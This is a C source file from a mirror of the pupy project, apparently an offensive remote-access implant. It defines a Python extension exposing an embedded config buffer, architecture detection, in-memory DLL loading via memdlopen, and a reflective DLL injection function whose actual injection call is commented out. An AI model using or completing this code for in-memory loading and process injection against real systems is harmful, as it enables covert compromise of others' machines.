mirror of https://github.com/n1nj4sec/pupy.git
88 lines
2.8 KiB
C
88 lines
2.8 KiB
C
|
/*
|
||
|
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||
|
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||
|
|
*/
|
||
|
|
|
||
|
|
#include <stdint.h>
|
||
|
|
#include <stdio.h>
|
||
|
|
#include "Python-dynload.h"
|
||
|
|
static char module_doc[] = "Builtins utilities for pupy";
|
||
|
|
|
||
|
|
extern const char resources_library_compressed_string_txt_start[];
|
||
|
|
extern const int resources_library_compressed_string_txt_size;
|
||
|
|
char pupy_config[40960]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup
|
||
|
|
extern const uint32_t dwPupyArch;
|
||
|
|
static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args)
|
||
|
|
{
|
||
|
|
return Py_BuildValue("s#", resources_library_compressed_string_txt_start, resources_library_compressed_string_txt_size);
|
||
|
|
}
|
||
|
|
|
||
|
|
static PyObject *
|
||
|
|
Py_get_pupy_config(PyObject *self, PyObject *args)
|
||
|
|
{
|
||
|
|
return Py_BuildValue("s", pupy_config);
|
||
|
|
}
|
||
|
|
|
||
|
|
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
|
||
|
|
{
|
||
|
|
if(dwPupyArch==32){
|
||
|
|
return Py_BuildValue("s", "x86");
|
||
|
|
}
|
||
|
|
else if(dwPupyArch==64){
|
||
|
|
return Py_BuildValue("s", "x64");
|
||
|
|
}
|
||
|
|
return Py_BuildValue("s", "unknown");
|
||
|
|
}
|
||
|
|
|
||
|
|
static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
|
||
|
|
{
|
||
|
|
uint32_t dwPid;
|
||
|
|
const char *lpDllBuffer;
|
||
|
|
uint32_t dwDllLenght;
|
||
|
|
const char *cpCommandLine;
|
||
|
|
PyObject* py_is64bit;
|
||
|
|
int is64bits;
|
||
|
|
if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit))
|
||
|
|
return NULL;
|
||
|
|
is64bits = PyObject_IsTrue(py_is64bit);
|
||
|
|
if(is64bits){
|
||
|
|
is64bits=64;
|
||
|
|
}else{
|
||
|
|
is64bits=32;
|
||
|
|
}
|
||
|
|
/* if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS) */
|
||
|
|
/* return NULL; */
|
||
|
|
return PyBool_FromLong(0);
|
||
|
|
}
|
||
|
|
|
||
|
|
static PyObject *Py_load_dll(PyObject *self, PyObject *args)
|
||
|
|
{
|
||
|
|
uint32_t dwPid;
|
||
|
|
const char *lpDllBuffer;
|
||
|
|
uint32_t dwDllLenght;
|
||
|
|
const char *dllname;
|
||
|
|
if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght))
|
||
|
|
return NULL;
|
||
|
|
|
||
|
|
printf("Py_load_dll(%s)\n", dllname);
|
||
|
|
|
||
|
|
if(memdlopen(dllname, lpDllBuffer, dwDllLenght))
|
||
|
|
return PyBool_FromLong(1);
|
||
|
|
return PyBool_FromLong(0);
|
||
|
|
}
|
||
|
|
|
||
|
|
static PyMethodDef methods[] = {
|
||
|
|
{ "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
|
||
|
|
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
|
||
|
|
{ "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS },
|
||
|
|
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
|
||
|
|
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
|
||
|
|
{ NULL, NULL }, /* Sentinel */
|
||
|
|
};
|
||
|
|
|
||
|
|
DL_EXPORT(void)
|
||
|
|
initpupy(void)
|
||
|
|
{
|
||
|
|
Py_InitModule3("pupy", methods, module_doc);
|
||
|
|
}
|